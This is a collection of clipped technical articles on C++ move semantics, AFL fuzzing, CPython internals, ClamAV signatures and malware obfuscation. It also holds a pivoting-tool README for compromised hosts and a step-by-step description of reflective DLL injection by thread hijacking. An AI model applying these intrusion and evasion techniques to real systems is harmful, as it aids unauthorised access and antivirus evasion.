ModSecurity or SpiderLabs teams would probably be very interested to hear how
you did it**.**

## Links****

The following are links which helped me put this blog post together:

If you don't have time to go through all this to build a lab, or you want a
second, the OWASP Broken Web Applications Project  is a VM which contains a
number of vulnerable applications and also runs ModSecurity**.**

## Thanks BruCON****

The time to create this project was kindly sponsored by the BruCON 5x5
award**.**

****

# How the C++ Compiler Decides to Move Objects | Dr Dobb's
**Created:**| _9/27/2013 11:01:35 AM_  
---|---  
**Updated:**| _9/27/2013 11:01:35 AM_  
**Author:**| __  
**Tags:**| _compiler-building memory-manager_  
  

# **H** ow the C++ Compiler Decides to Move Objects****

4 Comments

After reading this post, you should be able to figure out what `std::move`
does, although not necessarily how it does it**.**

Two weeks ago , I discussed rvalue references**.** I noted that, as its name
suggests, an rvalue reference is a reference that is bound to an rvalue**.**
More specifically, an rvalue reference can be bound _only_ to an rvalue:

**?**

| `int` `n = 3;``int``& r1 = 3; ``// Error, 3 is an rvalue``int``& r2 = n;
``// OK``int``&& r3 = 3; ``// OK``int``&& r4 = n; ``// Error, n is an lvalue`  
---|---  
If we add `const` to the equation, both a plain reference and an rvalue
reference can bind to an rvalue:

**?**

| `const` `int``&& r5 = 3; ``// OK`  
---|---  
However this binding involves adding a `const` to the type of `3`**.** This
addition turns out to be important for the following subtle reason:

**?**

| `void` `foo(``const` `int``&);``void` `foo(``int``&&);`  
---|---  
Suppose we overload a function to accept a plain reference to `const` in one
version and an rvalue reference in the other**.** Then whenever we call `foo`
with an lvalue, we will get `foo(const int&)`; whenever we call `foo` with an
rvalue, we will get `foo(int&&)`**.** The `const` is necessary for the plain
reference because otherwise we would not be able to give `foo` a `const int`
lvalue as its argument**.**

Inside the body of `foo(const int&)`, its parameter is a reference to
`const`**.** As usual, the argument is not copied, and the function itself
cannot change the parameter's value because the parameter is `const`**.** The
interesting part is what happens inside the body of `foo(int&&)`**.**

Because an rvalue reference is just another kind of reference, the parameter
of `foo(int&&)` is a reference**.** This reference is _not_ a reference to
`const`**.** In other words, the function is permitted to change its
parameter's value, even though this value is an rvalue**.** For example:

**?**

| `void` `foo(``int``&& n) {``++n;``}`  
---|---  
This function is permitted to increment `n` because `n` is a reference**.** It
is permitted to do so even though we can call

**?**

| `foo(3);`  
---|---  
Here, `3` is an rvalue, so `n` gets bound to `3` without `3` being copied**.**
Nevertheless, the function is permitted to change the value of `n`**.** Does
doing so change the value of `3`**?** The answer is that we can't tell,
because there is no way of inspecting the value of `3` later on to discover
whether it changed**\!**

Now let's see how to apply this technique to defining a constructor:

**?**

| `class` `Thing {``public``:``// …``Thing(``const` `Thing& t) { ``/* … */`
`}``Thing(Thing&& t) { ``/* … */` `}``// …``};`  
---|---  
We have defined a class `Thing` with two overloaded constructors**.** The
first of them takes a reference to `const Thing`**.** Inside the body of this
constructor, `t` refers directly to the object from which we want to construct
our new `Thing`**.** As ever, we can use the contents of this object, but we
cannot change those contents**.**

In the second constructor, `t` also refers to an object from which we are to
construct a `Thing`**.** In this constructor, however, that object is known to
be an rvalue — which means that we can change the contents of `t` without
worrying about clobbering important data**.**

When we overload constructors in this way, we generally refer to the first one
as the copy constructor and the second as the move constructor**.** Similarly,
we can have copy-assignment and move-assignment operators as well:

**?**

| `class` `Thing {``public``:``// …``Thing& operator=(``const` `Thing& t) {
``/* … */` `}``Thing& operator=(Thing&& t) { ``/* … */` `}``// …``};`  
---|---  
For both constructors and assignment operators, the copy version is required
to leave the original alone; the move version is permitted to destroy the
original's value so long as the original object is left in a state that allows
it to be safely destroyed**.**

Having seen this technique, you should now be able to figure out what
`std::move` does, although not necessarily how it does it**.** Try to do so
before we discuss it in detail next week**.**

****

# Fuzzing capstone using AFL persistent mode

**Created:**| _8/27/2015 11:38:31 AM_  
---|---  
**Updated:**| _8/27/2015 11:38:31 AM_  
**Author:**| __  
**Tags:**| _fuzzing_  
  
  

// Home // About me // Github //

— Now with 30% more cyber\!

# Fuzzing capstone using AFL persistent mode

Fuzzing is an automated testing technique that involves sending arbitrary
input to a program and monitoring its input. It's a way to test for
reliability as well as identify potential security bugs. Compared to manual
auditing, fuzzing will only uncover real bugs that are actually reachable.

Today we are fuzzing capstone. It's an open-source disassembly engine widely
used in exploitation frameworks, disassemblers, debugging aids and other
projects.

The fuzzer we'll use is the hot new thing: American Fuzzy Lop, AFL for short,
a fuzzer that uses runtime guided techniques to create input for the tested
program.

## Overview of the fuzzing process

AFL's usual operation mode goes like this:

  * Start \(fork\) a new process
  * Feed it some input, chosen at random, or mixed from other test cases. 
  * Monitor the code and register which path are touched by the input. Internally, it uses edge coverage and hit counts. For deeper information on the subject, see AFL's technical details..

## Writing a test harness

Let's write a test harness for that. We'll keep it simple: input from stdin,
and test only a small part of the library.

[code]

    #include <stdlib.h>
    #include <unistd.h>
    
    #include "capstone/include/capstone.h"
    
    int main(int argc, char** argv) {
        // The buffer we will pass to the library
        uint8_t buf[128];
    
        ssize_t read_bytes = read(stdin, buf, 128);
    
        csh handle;
        cs_insn *insn;
    
        size_t count;
    
        // Give the input to the library
        // We could also fuzz other architectures or modes
        if (cs_open(CS_ARCH_X86, CS_MODE_64, &handle) == CS_ERR_OK) {
            count = cs_disasm(handle, buf, read_bytes, 0x1000, 0, &insn);
            cs_free(insn, count);
        } else {
            return -1;
        }
        cs_close(&handle);
    }
    
[/code]

Let's run this with a random file as base. This is not ideal, but since the
input is really small, the magic of the instrumentation should start to
discover interesting values and branches pretty fast.

To compile this you'll need to install AFL, clang and llvm.

[code]

    # compile an instrumented version of capstone
    git clone https://github.com/aquynh/capstone.git
    cd capstone
    CC=afl-clang-fast ./make.sh
    cd ..
    
    # compile and link our test harness using capstone's static library
    afl-clang-fast -static harness.c capstone/libcapstone.a -o harness
    
    # generate inputs
    mkdir inputs
    dd if=/dev/random of=inputs/rand bs=64 count=1
    afl-fuzz -i inputs -o findings ./harness
    
[/code]

<img src='img/Temp2_3347.png' width='718' height='393' alt='first harness run'
/>

So far so good, AFL is running about 3.8k test/second, on just one core.

## Speeding things up: enter `AFL_PERSISTENT`.

AFL has various tricks to speed up the fork step, but forking a process every
time we want to test an input is still pretty slow. What if we could skip it
entirely, and reuse the same process multiple times?

We are going to use AFL's in-process fuzzing. This time, we don't restart a
new process for each new input. This will be _really_ faster.

To do so, the test harness is a bit more complex:

  1. setup the library
  2. feed it some input 
  3. tear down the library
  4. wait for AFL's 'go' \(using unix signals\)
  5. start again, in the same process, without any `fork` involved.

Here's the code for that:

[code]

    #include <stdlib.h>
    #include <unistd.h>
    #include <signal.h>
    #include <string.h>
    
    #include "capstone/include/capstone.h"
    #include <inttypes.h>
    
    #define PERSIST_MAX 100000
    
    unsigned int persist_cnt;
    
    int main(int argc, char** argv) {
    
        csh handle;
        cs_insn *insn;
        size_t count;
        uint8_t buf[128]; 
        ssize_t read_bytes;
    
    try_again:
        // (re-) initialize the library and read new input
        read_bytes = -1; 
        memset(buf, 0, 128);
        read_bytes = read(STDIN_FILENO, buf, 128);
    
        if (cs_open(CS_ARCH_X86, CS_MODE_64, &handle) == CS_ERR_OK) {
            // We want to fuzz the detail too
            cs_option(handle, CS_OPT_DETAIL, CS_OPT_ON); 
            // disassemble the bytes we just read using capstone
            count = cs_disasm(handle, buf, read_bytes, 0x1000, 0, &insn);
    
            // Don't leak memory. This is especially important in persistent mode, 
            // because we reuse the process a significant number of times
            cs_free(insn, count); 
        }
        cs_close(&handle);
    
        // signal successful completion of a run using SIGSTOP, and
        // update the number of runs we had, and run again
        if (persist_cnt++ < PERSIST_MAX) {
            raise(SIGSTOP);
            goto try_again;
        }
        return 0;
    }
    
[/code]

The `max_persist_count` tricks ensures we regularly quit the process \(AFL
relaunch it after\). This ensure that a memory leak won't fill up the RAM.

Let's try it out\!

[code]

    export AFL_PERSISTENT=1
    afl-clang-fast -static harness_persistent.c capstone/libcapstone.a -o harness_persistent
    afl-fuzz -i inputs -o findings ./harness_persistent
    
[/code]

<img src='img/Temp2_3348.png' width='711' height='399' alt='persistent harness
run' />

Twice faster\! Pretty good for 10 minute fiddling. The VM I'm running this is
dual core, so we can run one AFL instance per core:

[code]

    afl-fuzz -i inputs -o findings -M master ./fuzz_capstone
    # In another tmux
    afl-fuzz -i inputs -o multi_sync -S slave1 ./fuzz_capstone
    
    # and in another pane we can get the summary stats
    afl-whatsup
    
    [...]
    Summary stats
    =============
    
           Fuzzers alive : 2
          Total run time : 0 days, 0 hours
             Total execs : 25 million
        Cumulative speed : 26432 execs/sec
           Pending paths : 1 faves, 4148 total
      Pending per fuzzer : 0 faves, 2074 total (on average)
           Crashes found : 0 locally unique
    
[/code]

I let that run overnight and actually found a harmless bug. More on that in
the next part, along with analysis of what we found, using AFL's tools \(cmin,
tmin, crash exploration mode\), gdb and crashwalk.

## Rundown

In this article we

  * wrote a basic test harness for AFL, using stdio
  * made a slightly more complicated harness that is persistent, and twice faster
  * ran the fuzzer

Inaccuracies? Want to discuss something? Get in touch.

  

# Eli Bendersky's website » Python internals: how callables work

**Created:**| _3/23/2012 1:09:59 PM_  
---|---  
**Updated:**| _3/23/2012 12:10:27 PM_  
**Author:**| __  
**Tags:**| _python programming_  
  

## Python internals: how callables work

March 23rd, 2012 at 10:53 am

_\[The Python version described in this article is 3.x, more specifically -
the 3.3 alpha release of CPython.\]_

The concept of a _callable_ is fundamental in Python. When thinking about what
can be "called", the immediately obvious answer is functions. Whether it’s
user defined functions \(written by you\), or builtin functions \(most
probably implemented in C inside the CPython interpreter\), functions were
meant to be called, right?

Well, there are also methods, but they’re not very interesting because they’re
just special functions that are bound to objects. What else can be called? You
may, or may not be familiar with the ability to call _objects_ , as long as
they belong to classes that define the `__call__` magic method. So objects can
act as functions. And thinking about this a bit further, classes are callable
too. After all, here’s how we create new objects:

[code]

    class Joe:
      ... [contents of class]
    
    joe = Joe()
    
[/code]

Here we "call" `Joe` to create a new instance. So classes can act as functions
as well\!

It turns out that all these concepts are nicely united in the CPython
implementation. Everything in Python is an object, and that includes every
entity described in the previous paragraphs \(user & builtin functions,
methods, objects, classes\). All these calls are served by a single mechanism.
This mechanism is elegant and not that difficult to understand, so it’s worth
knowing about. But let’s start at the beginning.

### Compiling calls

CPython executes our program in two major steps:

  1. The Python source code is compiled to bytecode.
  2. A VM executes that bytecode, using a toolbox of built-in objects and modules to help it do its job.

In this section I’ll provide a quick overview of how the first step applies to
making calls. I won’t get too deep since these details are not the really
interesting part I want to focus on in the article. If you want to learn more
about the flow Python source undergoes in the compiler, read this.

Briefly, the Python compiler identifies everything followed by
`(arguments...)` inside an expression as a call \[1\]. The AST node for this
is `Call`. The compiler emits code for `Call` in the `compiler_call` function
in `Python/compile.c`. In most cases, the `CALL_FUNCTION` bytecode instruction
is going to be emitted. There are some variations I’m going to ignore for the
purpose of the article. For example, if the call has "star args" – `func(a, b,
*args)`, there’s a special instruction for handling that –
`CALL_FUNCTION_VAR`. It and other special instructions are just variations on
the same theme.

### CALL\_FUNCTION

So `CALL_FUNCTION` is the instruction we’re going to focus on here. This is
what it does:

> **CALL\_FUNCTION\(argc\)**
> Calls a function. The low byte of _argc_ indicates the number of positional
> parameters, the high byte the number of keyword parameters. On the stack,
> the opcode finds the keyword parameters first. For each keyword argument,
> the value is on top of the key. Below the keyword parameters, the positional
> parameters are on the stack, with the right-most parameter on top. Below the
> parameters, the function object to call is on the stack. Pops all function
> arguments, and the function itself off the stack, and pushes the return
> value.
CPython bytecode is evaluated by the the mammoth function `PyEval_EvalFrameEx`
in `Python/ceval.c`. The function is scary but it’s nothing more than a fancy
dispatcher of opcodes. It reads instructions from the code object of the given
frame and executes them. Here, for example, is the handler for `CALL_FUNCTION`
\(cleaned up a bit to remove tracing and timing macros\):

[code]

    TARGET(CALL_FUNCTION)
    {
        PyObject **sp;
        sp = stack_pointer;
        x = call_function(&sp, oparg);
        stack_pointer = sp;
        PUSH(x);
        if (x != NULL)
            DISPATCH();
        break;
    }
    
[/code]

Not too bad – it’s actually very readable. `call_function` does the actual
call \(we’ll examine it in a bit\), `oparg` is the numeric argument of the
instruction, and `stack_pointer` points to the top of the stack \[2\]. The
value returned by `call_function` is pushed back to the stack, and `DISPATCH`
is just some macro magic to invoke the next instruction.

`call_function` is also in `Python/ceval.c`. It implements the actual
functionality of the instruction. At 80 lines it’s not very long, but long
enough so I won’t paste it wholly here. Instead I’ll explain the flow in
general and paste small snippets where relevant; you’re welcome to follow
along with the code open in your favorite editor.

### Any call is just an object call

The most important first step in understanding how calls work in Python is to
ignore most of what `call_function` does. Yes, I mean it. The vast majority of
the code in this function deals with optimizations for various common cases.
It can be removed without hurting the correctness of the interpreter, only its
performance. If we ignore all optimizations for the time being, all
`call_function` does is decode the amount of arguments and amount of keyword
arguments from the single argument of `CALL_FUNCTION` and forwards it to
`do_call`. We’ll get back to the optimizations later since they are
interesting, but for the time being, let’s see what the core flow is.

`do_call` loads the arguments from the stack into `PyObject` objects \(a tuple
for the positional arguments, a dict for the keyword arguments\), does a bit
of tracing and optimization of its own, but eventually calls `PyObject_Call`.

`PyObject_Call` is a super-important function. It’s also available to
extensions in the Python C API. Here it is, in all its glory:

[code]

    PyObject *
    PyObject_Call(PyObject *func, PyObject *arg, PyObject *kw)
    {
        ternaryfunc call;
    
        if ((call = func->ob_type->tp_call) != NULL) {
            PyObject *result;
            if (Py_EnterRecursiveCall(" while calling a Python object"))
                return NULL;
            result = (*call)(func, arg, kw);
            Py_LeaveRecursiveCall();
            if (result == NULL && !PyErr_Occurred())
                PyErr_SetString(
                    PyExc_SystemError,
                    "NULL result without error in PyObject_Call");
            return result;
        }
        PyErr_Format(PyExc_TypeError, "'%.200s' object is not callable",
                     func->ob_type->tp_name);
        return NULL;
    }
    
[/code]

Deep recursion protection and error handling aside \[3\], `PyObject_Call`
extracts the `tp_call` attribute \[4\] of the object’s type and calls it. This
is possible since `tp_call` holds a function pointer.

Let it sink for a moment. _This is it_. Ignoring all kinds of wonderful
optimizations, this is what _all calls in Python_ boil down to:

  * Everything in Python is an object \[5\].
  * Every object has a type; the type of an object dictates the stuff that can be done to/with the object.
  * When an object is called, its type’s `tp_call` attribute is called.

As a user of Python, your only direct interaction with `tp_call` is when you
want your objects to be callable. If you define your class in Python, you have
to implement the `__call__` method for this purpose. This method gets directly
mapped to `tp_call` by CPython. If you define your class as a C extension, you
have to assign `tp_call` in the type object of your class manually.

But recall that classes themselves are "called" to create new objects, so
`tp_call` plays a role here as well. Even more fundamentally, when you define
a class there is also a call involved – on the class’s metaclass. This is an
interesting topic and I’ll cover it in a future article.

### Extra credit: Optimizations in CALL\_FUNCTION

This part is optional, since the main point of the article was delivered in
the previous section. That said, I think this material is interesting, since
it provides examples of how some things you wouldn’t usually think of as
objects, actually _are_ objects in Python.

As I mentioned earlier, we could just use `PyObject_Call` for every
`CALL_FUNCTION` and be done with it. In reality, it makes sense to do some
optimizations to cover common cases where that may be an overkill.
`PyObject_Call` is a very generic function that needs all its arguments in
special tuple and dictionary objects \(for positional and keyword arguments,
respectively\). These arguments need to be taken from the stack and arranged
in the containers `PyObject_Call` expects. In some common cases we can avoid a
lot of this overhead, and this is what the optimizations in `call_function`
are about.

The first special case `call_function` addresses is:

[code]

    /* Always dispatch PyCFunction first, because these are
       presumed to be the most frequent callable object.
    */
    if (PyCFunction_Check(func) && nk == 0) {
    
[/code]

This handles objects of type `builtin_function_or_method` \(represented by the
`PyCFunction` type in the C implementation\). There are a lot of those in
Python, as the comment above notes. All functions and methods implemented in
C, whether in the CPython interpreter, or in C extensions, fall into this
category. For example:

[code]

    >>> type(chr)
    <class 'builtin_function_or_method'>
    >>> type("".split)
    <class 'builtin_function_or_method'>
    >>> from pickle import dump
    >>> type(dump)
    <class 'builtin_function_or_method'>
    
[/code]

There’s an additional condition in that `if` – that the amount of keyword
arguments passed to the function is zero. This allows some important
optimizations. If the function in question accepts no arguments \(marked by
the `METH_NOARGS` flag when the function is created\) or just a single object
argument \(`METH_0` flag\), `call_function` doesn’t go through the usual
argument packing and can call the underlying function pointer directly. To
understand how this is possible, reading about `PyCFunction` and the `METH_`
flags in this part of the documentation is highly recommended.

Next, there’s some special handling for methods of classes written in Python:

[code]

    else {
      if (PyMethod_Check(func) && PyMethod_GET_SELF(func) != NULL) {
    
[/code]

`PyMethod` is the internal object used to represent bound methods. The special
thing about methods is that they carry around a reference to the object
they’re bound to. `call_function` extracts this object and places it on the
stack, in preparation for what comes next.

Here’s the rest of the call code \(after it in `call_object` there’s only some
stack cleanup\):

[code]

    if (PyFunction_Check(func))
        x = fast_function(func, pp_stack, n, na, nk);
    else
        x = do_call(func, pp_stack, na, nk);
    
[/code]

`do_call` we’ve already met – it implements the most generic form of calling.
However, there’s one more optimization – if `func` is a `PyFunction` \(an
object used internally to represent functions defined in Python code\), a
separate path is taken – `fast_function`.

To understand what `fast_function` does, it’s important to first consider what
happens when a Python function is executed. Simply put, its code object is
evaluated \(with `PyEval_EvalCodeEx` itself\). This code expects its arguments
to be on the stack. Therefore, in most cases there’s no point packing the
arguments into containers and unpacking them again. With some care, they can
just be left on the stack and a lot of precious CPU cycles can be spared.

Everything else falls back to `do_call`. This, by the way, includes
`PyCFunction` objects that _do_ have keyword arguments. A curious aspect of
this fact is that it’s somewhat more efficient to not pass keyword arguments
to C functions that either accept them or are fine with just positional
arguments. For example \[6\]:

[code]

    $ ~/test/python_src/33/python -m timeit -s's="a;b;c;d;e"' 's.split(";")'
    1000000 loops, best of 3: 0.3 usec per loop
    $ ~/test/python_src/33/python -m timeit -s's="a;b;c;d;e"' 's.split(sep=";")'
    1000000 loops, best of 3: 0.469 usec per loop
    
[/code]

This is a big difference, but the input is very small. For larger strings the
difference is almost invisible:

[code]

    $ ~/test/python_src/33/python -m timeit -s's="a;b;c;d;e"*1000' 's.split(";")'
    10000 loops, best of 3: 98.4 usec per loop
    $ ~/test/python_src/33/python -m timeit -s's="a;b;c;d;e"*1000' 's.split(sep=";")'
    10000 loops, best of 3: 98.7 usec per loop
    
[/code]

### Summary

The aim of this article was to discuss what it means to be callable in Python,
approaching this concept from the lowest possible level – the implementation
details of the CPython virtual machine. Personally, I find this implementation
very elegant, since it unifies several concepts into a single one. As the
extra credit section showed, Python entities we don’t usually think of as
objects – functions and methods – actually are objects and can also be handled
in the same uniform manner. As I promised, future article\(s\) will dive
deeper into the meaning of `tp_call` for creating new Python objects and
classes.

<img src='img/Temp2_2575.jpg' alt='http://eli.thegreenplace.net/wp-
content/uploads/hline.jpg' />

\[1\]| This is an intentional simplification – `()` serve other roles like
class definitions \(for listing base classes\), function definitions \(for
listing arguments\), decorators, etc – these are not in expressions. I’m also
ignoring generator expressions on purpose.  
---|---  
\[2\]| The CPython VM is a stack machine.  
---|---  
\[3\]| `Py_EnterRecursiveCall` is needed where C code may end up calling
Python code, to allow CPython keep track of its recursion level and bail out
when it’s too deep. Note that functions written in C don’t have to abide by
this recursion limit. This is why `do_call` special-cases `PyCFunction` before
calling `PyObject_Call`.  
---|---  
\[4\]| By "attribute" here I mean a structure field \(sometimes also called
"slot" in the documentation\). If you’re completely unfamiliar with the way
Python C extensions are defined, go over this page.  
---|---  
\[5\]| When I say that _everything_ is an object – I mean it. You may think of
objects as instances of classes you defined. However, deep down on the C
level, CPython creates and juggles a lot of objects on your behalf. Types
\(classes\), builtins, functions, modules – all these are represented by
objects.  
---|---  
\[6\]| This example will only run on Python 3.3, since the `sep` keyword
argument to `split` is new in this version. In prior versions of Python
`split` only accepted positional arguments.  
---|---  
Related posts:

  1. Python internals: Symbol tables, part 1
  2. Python internals: Symbol tables, part 2
  3. Python internals: adding a new statement to Python
  4. Python internals: Working with Python ASTs
  5. Ruby as both a functional and an OO language

# itsKindred/PortPush

**Created:**| _3/2/2019 6:36:39 PM_  
---|---  
**Updated:**| _3/2/2019 6:36:39 PM_  
**Author:**| _wishi_  
**Tags:**| _network-security Exfiltration_  
  

  

### Join GitHub today

GitHub is home to over 31 million developers working together to host and
review code, manage projects, and build software together.

Sign up

A small Bash utility used for pivoting into internal networks upon
compromising a public-facing host.

  * 10  commits 
  * 1  branch 
  * 0  releases 
  * 1  contributor 

  1. Shell 100.0%

_Branch:_ master

Find file

Clone or download

<img src='img/42949132.png' width='20' height='20' alt='@itsKindred' />

itsKindredView all commits by itsKindred Added Link to winPortPush

Latest commit  a0b4409  on 22 Jan

Type | Name | Latest commit message | Commit time  
---|---|---|---  
|  README.md |  Added Link to winPortPush |  a month ago  
|  portpush.sh |  Added line to enable forwarding |  2 months ago  
###  README.md

# PortPush

PortPush is a small Bash utility used for pivoting into internal networks upon
compromising a public-facing host.

There are a couple of pre-requisites for this tool to work in its current
state:

  * Must have a means of getting the script onto the compromised host \(i.e, this isn't a "remote" utility\).
  * Must have root privileges on the compromised host you will be pivoting from.
  * Must be an IPv4 environment. Currently, IPv6 addressing or hostnames will not work.
  * IPtables must be utilized on the compromised host.
  * Firewall rules are not dealt with within the script; you are responsible for poking holes through the firewall to allow this utility to function.

This utility is still very much in its early stages, but as it currently
stands I have been able to reliably use it successfully in test environments
and CTFs, so I decided it's in a good enough state to make public.

Here is a video demo of its basic utility:
https://www.youtube.com/watch?v=Y1JhILsKsuM

There is also a Windows equivalent of this tool which utilizes PowerShell.
That can be found here: https://github.com/itsKindred/winPortPush

  

# Immunity Debugger | BoB's place
**Created:**| _4/3/2011 2:29:26 PM_  
---|---  
**Updated:**| _4/3/2011 2:29:46 PM_  
**Author:**| __  
**Tags:**| _Debugging programming_  
  

# Immunity Debugger Projects

Over the years I have created a few OllyDbg and Immunity Debugger plugins, but
the most annoying part of creating plugins for these debuggers is the amount
of incompatibilities between Immunity Debugger and OllyDbg \(and the patched
versions of OllyDbg\)  
Usually you must make 2 or 3 versions to allow use with OllySND or Immunity
Debugger or OllyDbg v1.10 etc..

There is no need for this anymore, for I have created the following open-
source projects:

  1. Sometime in 2008 I created an unofficial Immunity Debugger PDK, and have updated it in 2011 for the v1.8x changes to plugins. See PDK Page for full description and download.
  2. For those old Immunity Debugger plugins, and also for OllyDbg plugins, there is a small conversion tool that will convert those plugins to the new format of the Immunity Debugger v1.8x plugins. See FixPlugins Page for full description and download.

# Analyzing ClamAV Signatures – Correction

**Created:**| _7/17/2017 11:16:19 AM_  
---|---  
**Updated:**| _7/17/2017 11:16:19 AM_  
**Author:**| __  
**Tags:**| _Debugging antivirus_  
  

  

## Thursday 13 July 2017

###  Analyzing ClamAV Signatures – Correction

Filed under: Malware — Didier Stevens @ 23:26  

My previous blog post “Analyzing ClamAV Signatures” is incorrect. Here is a
better explanation.

I wrongly assumed that the signature printed in the debug statement would be
the actual signature in the ClamAV database. That is not always the case.

So here is a better method.

First I update the signatures \(yup, that’s ClamAV on Windows\):

<img src='img/20170713-201937.png' width='867' height='575' />

This is a standard scan:

<img src='img/20170711-235142.png' width='852' height='367' />

The signature is Win.Trojan.Mimikatz-6331391-0.

Then I do a search with sigtool in the database, providing a regular
expression \(Mimikatz-6331391\) to match signature names \(this matching
process is case sensitive\):

<img src='img/20170713-205806.png' width='867' height='299' />

And this signature is more interesting. This is an extended signature. It is
composed of several fields \(: is the separator\). Here I have each field on a
separate line:

<img src='img/20170714-011617.png' width='1024' height='112' />

Field 1 is the name of the signature.

Field 2 is the type of file to scan: 1 is for PE files

Field 3 is the part of the file to scan: SE1 is the second section of the PE
file.

Field 4 is the hex signature: the sequence of bytes to search for in the
section, expressed as hexadecimal data. \{-10\} is a wildcard for 0 to 10
arbitrary bytes.

Field 5 is the minimum version of the ClamAV engine that supports this type of
signature.

The bytes represent strings \(UNICODE and ASCII\):

<img src='img/20170713-203027.png' width='867' height='272' />

This signature does not trigger on the genuine mimikatz binaries:

<img src='img/20170713-205734.png' width='867' height='423' />

 Like

  * <img src='img/012e1e517344862ff0a9c3fba5aadd74.jpg' width='30' height='30' alt='needull' />

One blogger likes this.

### _Related_

Analyzing ClamAV SignaturesIn "Malware"

Quickpost: ClamAV and ZIP File DecryptionIn "Malware"

Quickpost: /JBIG2Decode EssentialsIn "PDF"

Leave a Comment

## Leave a Comment »

No comments yet.

RSS feed for comments on this post. TrackBack URI

### Leave a Reply \(comments are moderated\)

  

  *[RSS]: Really Simple Syndication
  *[URI]: Uniform Resource Identifier

# ThreadContinue - Reflective DLL Injection Using SetThreadContext\(\) and
NtContinue\(\)

**Created:**| _7/17/2017 11:35:29 AM_  
---|---  
**Updated:**| _7/17/2017 11:35:29 AM_  
**Author:**| __  
**Tags:**| _windows environment dll-injection_  
  

  

###  ThreadContinue - Reflective DLL Injection Using SetThreadContext\(\) and
NtContinue\(\)

In the attempt to evade AV, attackers go to great lengths to avoid the common
reflective injection code execution function, CreateRemoteThread\(\).
Alternative techniques include native API \(ntdll\) thread creation and user
APCs \(necessary for SysWow64->x64\), etc.

This technique uses SetThreadContext\(\) to change a selected thread's
registers, and performs a restoration process with NtContinue\(\). This means
the hijacked thread can keep doing whatever it was doing, which may be a
critical function of the injected application.

<img src='img/threadcontinue.PNG.png' width='320' height='210' />

You'll notice the PoC <img
src='img/xwDTuMgtpWjejyAoGMxsoGNett3Nnb4YO4kcHOkVwQ7AVPH6cLpX4Ddnm0O9VvaOZyY=s0-d.png'
width='16' height='16' /> \(x64 only, \#lazy\) is using the common
VirtualAllocEx\(\) and WriteVirtualMemory\(\) functions. But instead of
creating a new remote thread, we piggyback off of an existing one, and restore
the original context when we're done with it. This can be done locally
\(current process\) and remotely \(target process\).

### Stage 0: Thread Hijack

Code can be found in hijack/hijack.c

  1. Select a target PID.
  2. Process is opened, and any thread is found.
  3. Thread is suspended, and thread context \(CPU registers\) copied.
  4. Memory allocated in remote process for reflective DLL.
  5. Memory allocated in remote process for thread context.
  6. Set the thread context stack pointer to a lower address.
  7. Change thread context with SetThreadContext\(\).
  8. Resume the thread execution.

### Stage 1: Reflective Restore

Code can be found in dll/ReflectiveDll.c

  1. Normal reflective DLL injection takes place.
  2. Optional: Spawn new thread locally for a primary payload.
  3. Optional: Thread is restored with NtContinue\(\), using the passed-in previous context.

You can go from x64->SysWow64 using Wow64SetThreadContext\(\), but not the
other way around. I unfortunately did not observe possible sorcery for
SysWow64->x64.

One major hiccup to overcome, in x64 mode, is that the register RCX \(function
param 1\) is volatile even across a SetThreadContext\(\) call. To overcome
this, I stored a cave \(in this case, the DOS header\). Luckily,
NtContinue\(\) allows setting the volatile registers, so there's no issues in
the restoration process, otherwise it would have needed a hacky code cave
inserted or something.

`1`| `// retrieve CONTEXT from DOS header cave`  
---|---  
`2`| `lpParameter =
(``LPVOID``)*((``PULONG_PTR``)((``LPBYTE``)uiLibraryAddress+2));`  
---|---  
Another issue is we could corrupt the original threads stack. I subtracted
0x2000 from RSP to find a new spot to spam up.

I've seen similar \(but non-successful\) techniques for code injection. I
found a rare amount of similar information \[1\] \[2\]. These techniques were
not interested in performing proper cleanup of the stolen thread, which is not
practical in many circumstances. This is essentially the same process that
RtlRemoteCall\(\) follows. As such, there may be issues for threads in a wait
state returning an incorrect status? None of these sources uses reflective
restoration.

As user mode API is highly explored territory, this may not be an original
technique. If so, take the example for what it is \(\[relatively\] clean code
with academic explanation\) and chalk it up to multiple discovery. Leave
flames, spam, and questions in the comments\!

If you want to learn more about techniques like this, come to the Advanced
Windows Post-Exploitation / Malware Forward Engineering DEF CON 25 workshop.

Posted by  zero sum  at  12:52:00 AM

Email This  BlogThis\!  Share to Twitter  Share to Facebook  Share to
Pinterest

Labels:  dll  ,  injection  ,  malware  ,  reflective  ,  Windows

  

  *[
12:52:00 AM

]: 2017-07-01T00:52:00-07:00

# Removing semantic NOP’s from Malware « Silviocesare’s Weblog

**Created:**| _9/3/2009 9:35:16 AM_  
---|---  
**Updated:**| _9/3/2009 9:35:32 AM_  
**Author:**| __  
**Tags:**| _bookmark reversing Malware-analysis_  
  

## Removing semantic NOP’s from Malware

#### May 13, 2009 · 8 Comments

A common obfuscation technique used by malware is by randomly inserting a
sequence of instructions that have no other effect on the functionality of the
program. This technique is additionally used in polymorphic and metamorphic
malware.

There are a couple of interesting papers that try to address this by
identifying some classes of “semantic nops” in the malware and removing them.
The basic model is to identify a particular sequence or set of instructions to
examine, typically generated by bruteforce of all possible combinations in
each basicblock, and then ask an oracle if its a semantic nop.

There are two papers which are probably of interest. Malware Normalization
http://www.cs.wisc.edu/wisa/papers/tr1539/tr1539.pdf, is an in interesting
paper and has several techniques to canonicalize a binary so that it can be
more effective when used scanning for in antivirus. Another paper of interest
ishttp://www.eecs.berkeley.edu/~sseshia/pubdir/oakland05.pdf which is a little
more formal \(and thus for me, harder to understand\), on Semantics-Aware
Malware Detection. This paper performs static analysis on the malware and
tries to match it to a template signature which describes particular
behaviours of the malware such as its memory access.

The semantic nop oracle that can tell you if a sequence of code is a nop or
not, is an SMT decision procedure
\(http://en.wikipedia.org/wiki/Satisfiability\_Modulo\_Theories\). SMT is an
extension of SAT. You give it a list of constraints, such as equalities and
arithmetic, and then you can query the decision procedure to see if certain
conditions can possibly be true or false. Counter examples can be given in
return to prove the results of the decision procedure.

To determine if a sequence of instructions is a semantic NOP, you ask the
decision procedure if the set of registers that are modified by the
instructions, result in the same values as what they were before hand. If they
are the same, then it’s clearly a NOP. You also need to check that all memory
written to is the same before and after as well. Care should be taken with the
status flags, and the papers mentioned don’t talk in depth about this. Perhaps
checking for a lack of liveness in the flags or that the flags are the
preserved at the end of a potential nop sequence. All these types of checks
are only applied within basicblocks. Detecting semantic nops as code that
branches seems a much harder problem.

This appears to fine in most cases, but what those papers I mentioned earlier
fail to describe is the case of exceptions being generated from memory access.
Consider the following code, which for all purposes appears to be a semantic
NOP.

[code]

    mov temp_mem, %eax; # potential exception
    inc %eax
    dec %eax
    mov %eax,temp_mem
    
    
[/code]

_Note: status flag are not live at the end of the above code sequence making
